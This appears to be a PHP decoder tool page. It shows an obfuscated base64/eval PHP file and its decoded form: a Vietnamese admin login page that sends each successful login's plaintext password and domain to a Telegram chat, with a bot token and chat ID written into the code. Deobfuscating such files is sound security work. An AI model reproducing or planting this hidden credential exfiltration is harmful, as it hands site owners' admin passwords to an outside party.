Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $yxpIt8Dy="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($yxpIt8Dy("ID8..
Decoded Output download
?><?php
// on m gi tin nhn Telegram
function sendTelegramMessage($message, $telegramBotToken, $telegramChatId) {
$url = "https://api.telegram.org/bot$telegramBotToken/sendMessage";
$data = [
'chat_id' => $telegramChatId,
'text' => $message,
];
$options = [
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded
",
'content' => http_build_query($data),
],
];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === false) {
// Gi tin nhn khng thnh cng
echo "Li: Gi tin nhn khng thnh cng!";
} else {
// Gi tin nhn thnh cng
echo "Tin nhn c gi thnh cng!";
}
}
// ng dn n file acc_admin.php
$admin_file = "acc_admin.php";
// Khi ng phin lm vic
session_start();
// Kim tra xem ngi dng gi d liu ng nhp cha
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// Ly gi tr t form ng nhp
$password = $_POST["password"];
// c mt khu t file acc_admin.php
include($admin_file);
// Kim tra mt khu c khp vi ti khon qun tr hay khng
if ($password === $acc_admin_password) {
// ng nhp thnh cng, lu trng thi ng nhp
$_SESSION["loggedin"] = true;
// Gi tin nhn thnh cng n Telegram
$domain = $_SERVER['HTTP_HOST'];
$message = "ng nhp thnh cng vi mt khu: $password
Tn min: $domain";
$telegramBotToken = "6040776457:AAEt8cFFn0QNw2TM0iySkAe3plbwU54vVtM";
$telegramChatId = "-864675223";
sendTelegramMessage($message, $telegramBotToken, $telegramChatId);
header("Location: index.php");
exit;
} else {
// ng nhp tht bi, thit lp bin li
$error = "Mt khu khng chnh xc!";
}
}
?>
<!DOCTYPE html>
<html lang="vi">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ng nhp</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/adminlte.min.css">
<style>
body.login-page {
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
}
.login-card {
max-width: 360px;
width: 100%;
padding: 20px;
border: 1px solid #ddd;
border-radius: 4px;
background-color: #fff;
}
.login-box-msg {
margin-bottom: 15px;
text-align: center;
}
.btn-block {
display: block;
width: 100%;
}
</style>
<!DOCTYPE html>
<html lang="vi">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ng nhp</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/adminlte.min.css">
<style>
body.login-page {
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
}
.login-card {
max-width: 360px;
width: 100%;
padding: 20px;
border: 1px solid #ddd;
border-radius: 4px;
background-color: #fff;
}
.login-box-msg {
margin-bottom: 15px;
text-align: center;
}
.btn-block {
display: block;
width: 100%;
}
</style>
</head>
<div class="login-logo">
<a href="index.php"><b>LVT</b> DZ</a>
</div>
</div>
<body class="login-page">
<div class="login-card">
<div class="card-body">
<p class="login-box-msg">ng nhp qun l</p>
<?php
// Kim tra xem c li ng nhp hay khng
if (isset($error)) {
echo '<div class="alert alert-danger">'.$error.'</div>';
}
?>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
<div class="input-group mb-3">
<input type="password" class="form-control" placeholder="Mt khu" name="password" required>
<div class="input-group-append">
<div class="input-group-text">
<span class="fas fa-lock"></span>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<button type="submit" class="btn btn-primary btn-block">ng nhp</button>
</div>
</div>
</form>
</div>
</div>
</body>
</html>
<br>
<footer class="sticky-footer bg-white">
<div class="container my-auto">
<div class="copyright text-center my-auto">
<span>Copyright <b style="color:red"><a href="https://zalo.me/0559342006"> LVT </a></b> 2022</span>
<!-- /.login-box -->
</footer>
<?php
Did this file decode correctly?
Original Code
<?php $yxpIt8Dy="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($yxpIt8Dy("ID8+PD9waHAKLy8gxJBv4bqhbiBtw6MgZ+G7rWkgdGluIG5o4bqvbiBUZWxlZ3JhbQpmdW5jdGlvbiBzZW5kVGVsZWdyYW1NZXNzYWdlKCRtZXNzYWdlLCAkdGVsZWdyYW1Cb3RUb2tlbiwgJHRlbGVncmFtQ2hhdElkKSB7CiAgICAkdXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkdGVsZWdyYW1Cb3RUb2tlbi9zZW5kTWVzc2FnZSI7CiAgICAkZGF0YSA9IFsKICAgICAgICAnY2hhdF9pZCcgPT4gJHRlbGVncmFtQ2hhdElkLAogICAgICAgICd0ZXh0JyA9PiAkbWVzc2FnZSwKICAgIF07CgogICAgJG9wdGlvbnMgPSBbCiAgICAgICAgJ2h0dHAnID0+IFsKICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIiwKICAgICAgICAgICAgJ2NvbnRlbnQnID0+IGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpLAogICAgICAgIF0sCiAgICBdOwoKICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsKICAgICRyZXN1bHQgPSBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGNvbnRleHQpOwoKICAgIGlmICgkcmVzdWx0ID09PSBmYWxzZSkgewogICAgICAgIC8vIEfhu61pIHRpbiBuaOG6r24ga2jDtG5nIHRow6BuaCBjw7RuZwogICAgICAgIGVjaG8gIkzhu5dpOiBH4butaSB0aW4gbmjhuq9uIGtow7RuZyB0aMOgbmggY8O0bmchIjsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gR+G7rWkgdGluIG5o4bqvbiB0aMOgbmggY8O0bmcKICAgICAgICBlY2hvICJUaW4gbmjhuq9uIMSRw6MgxJHGsOG7o2MgZ+G7rWkgdGjDoG5oIGPDtG5nISI7CiAgICB9Cn0KCi8vIMSQxrDhu51uZyBk4bqrbiDEkeG6v24gZmlsZSBhY2NfYWRtaW4ucGhwCiRhZG1pbl9maWxlID0gImFjY19hZG1pbi5waHAiOwoKLy8gS2jhu59pIMSR4buZbmcgcGhpw6puIGzDoG0gdmnhu4djCnNlc3Npb25fc3RhcnQoKTsKCi8vIEtp4buDbSB0cmEgeGVtIG5nxrDhu51pIGTDuW5nIMSRw6MgZ+G7rWkgZOG7ryBsaeG7h3UgxJHEg25nIG5o4bqtcCBjaMawYQppZiAoJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0gPT09ICJQT1NUIikgewogICAgLy8gTOG6pXkgZ2nDoSB0cuG7iyB04burIGZvcm0gxJHEg25nIG5o4bqtcAogICAgJHBhc3N3b3JkID0gJF9QT1NUWyJwYXNzd29yZCJdOwoKICAgIC8vIMSQ4buNYyBt4bqtdCBraOG6qXUgdOG7qyBmaWxlIGFjY19hZG1pbi5waHAKICAgIGluY2x1ZGUoJGFkbWluX2ZpbGUpOwoKICAgIC8vIEtp4buDbSB0cmEgbeG6rXQga2jhuql1IGPDsyBraOG7m3AgduG7m2kgdMOgaSBraG/huqNuIHF14bqjbiB0cuG7iyBoYXkga2jDtG5nCiAgICBpZiAoJHBhc3N3b3JkID09PSAkYWNjX2FkbWluX3Bhc3N3b3JkKSB7CiAgICAgICAgLy8gxJDEg25nIG5o4bqtcCB0aMOgbmggY8O0bmcsIGzGsHUgdHLhuqFuZyB0aMOhaSDEkcSDbmcgbmjhuq1wCiAgICAgICAgJF9TRVNTSU9OWyJsb2dnZWRpbiJdID0gdHJ1ZTsKCiAgICAgICAgLy8gR+G7rWkgdGluIG5o4bqvbiB0aMOgbmggY8O0bmcgxJHhur9uIFRlbGVncmFtCiAgICAgICAgJGRvbWFpbiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKICAgICAgICAkbWVzc2FnZSA9ICLEkMSDbmcgbmjhuq1wIHRow6BuaCBjw7RuZyB24bubaSBt4bqtdCBraOG6qXU6ICRwYXNzd29yZFxuVMOqbiBtaeG7gW46ICRkb21haW4iOwogICAgICAgICR0ZWxlZ3JhbUJvdFRva2VuID0gIjYwNDA3NzY0NTc6QUFFdDhjRkZuMFFOdzJUTTBpeVNrQWUzcGxid1U1NHZWdE0iOwogICAgICAgICR0ZWxlZ3JhbUNoYXRJZCA9ICItODY0Njc1MjIzIjsKICAgICAgICBzZW5kVGVsZWdyYW1NZXNzYWdlKCRtZXNzYWdlLCAkdGVsZWdyYW1Cb3RUb2tlbiwgJHRlbGVncmFtQ2hhdElkKTsKCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogaW5kZXgucGhwIik7CiAgICAgICAgZXhpdDsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gxJDEg25nIG5o4bqtcCB0aOG6pXQgYuG6oWksIHRoaeG6v3QgbOG6rXAgYmnhur9uIGzhu5dpCiAgICAgICAgJGVycm9yID0gIk3huq10IGto4bqpdSBraMO0bmcgY2jDrW5oIHjDoWMhIjsKICAgIH0KfQo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InZpIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICA8dGl0bGU+xJDEg25nIG5o4bqtcDwvdGl0bGU+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2FkbWluLWx0ZUAzLjEvZGlzdC9jc3MvYWRtaW5sdGUubWluLmNzcyI+CiAgPHN0eWxlPgogICAgYm9keS5sb2dpbi1wYWdlIHsKICAgICAgZGlzcGxheTogZmxleDsKICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOwogICAgfQogICAgLmxvZ2luLWNhcmQgewogICAgICBtYXgtd2lkdGg6IDM2MHB4OwogICAgICB3aWR0aDogMTAwJTsKICAgICAgcGFkZGluZzogMjBweDsKICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDsKICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgfQogICAgLmxvZ2luLWJveC1tc2cgewogICAgICBtYXJnaW4tYm90dG9tOiAxNXB4OwogICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICB9CiAgICAuYnRuLWJsb2NrIHsKICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgIHdpZHRoOiAxMDAlOwogICAgfQogIDwvc3R5bGU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJ2aSI+CjxoZWFkPgogIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgPHRpdGxlPsSQxINuZyBuaOG6rXA8L3RpdGxlPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9hZG1pbi1sdGVAMy4xL2Rpc3QvY3NzL2FkbWlubHRlLm1pbi5jc3MiPgogIDxzdHlsZT4KICAgIGJvZHkubG9naW4tcGFnZSB7CiAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICBtaW4taGVpZ2h0OiAxMDB2aDsKICAgIH0KICAgIC5sb2dpbi1jYXJkIHsKICAgICAgbWF4LXdpZHRoOiAzNjBweDsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7CiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgIH0KICAgIC5sb2dpbi1ib3gtbXNnIHsKICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsKICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgfQogICAgLmJ0bi1ibG9jayB7CiAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICB3aWR0aDogMTAwJTsKICAgIH0KICA8L3N0eWxlPgo8L2hlYWQ+CjxkaXYgY2xhc3M9ImxvZ2luLWxvZ28iPgogICAgPGEgaHJlZj0iaW5kZXgucGhwIj48Yj5MVlQ8L2I+IERaPC9hPgogIDwvZGl2Pgo8L2Rpdj4KPGJvZHkgY2xhc3M9ImxvZ2luLXBhZ2UiPgogIDxkaXYgY2xhc3M9ImxvZ2luLWNhcmQiPgogICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgPHAgY2xhc3M9ImxvZ2luLWJveC1tc2ciPsSQxINuZyBuaOG6rXAgxJHhu4MgcXXhuqNuIGzDvTwvcD4KICAgICAgPD9waHAKICAgICAgLy8gS2nhu4NtIHRyYSB4ZW0gY8OzIGzhu5dpIMSRxINuZyBuaOG6rXAgaGF5IGtow7RuZwogICAgICBpZiAoaXNzZXQoJGVycm9yKSkgewogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWRhbmdlciI+Jy4kZXJyb3IuJzwvZGl2Pic7CiAgICAgIH0KICAgICAgPz4KICAgICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOyA/PiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBtYi0zIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ik3huq10IGto4bqpdSIgbmFtZT0icGFzc3dvcmQiIHJlcXVpcmVkPgogICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtYXBwZW5kIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCI+CiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZhcyBmYS1sb2NrIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IGJ0bi1ibG9jayI+xJDEg25nIG5o4bqtcDwvYnV0dG9uPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZm9ybT4KICAgIDwvZGl2PgogIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KPGJyPgo8Zm9vdGVyIGNsYXNzPSJzdGlja3ktZm9vdGVyIGJnLXdoaXRlIj4KICA8ZGl2IGNsYXNzPSJjb250YWluZXIgbXktYXV0byI+CiAgPGRpdiBjbGFzcz0iY29weXJpZ2h0IHRleHQtY2VudGVyIG15LWF1dG8iPgogPHNwYW4+Q29weXJpZ2h0IMKpIDxiIHN0eWxlPSJjb2xvcjpyZWQiPjxhIGhyZWY9Imh0dHBzOi8vemFsby5tZS8wNTU5MzQyMDA2Ij4gTFZUIDwvYT48L2I+IDIwMjI8L3NwYW4+CiA8IS0tIC8ubG9naW4tYm94IC0tPgogPC9mb290ZXI+Cjw/cGhwIA==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 6c1fe1ac257a5691febebf4c4ab55357 |
Eval Count | 1 |
Decode Time | 61 ms |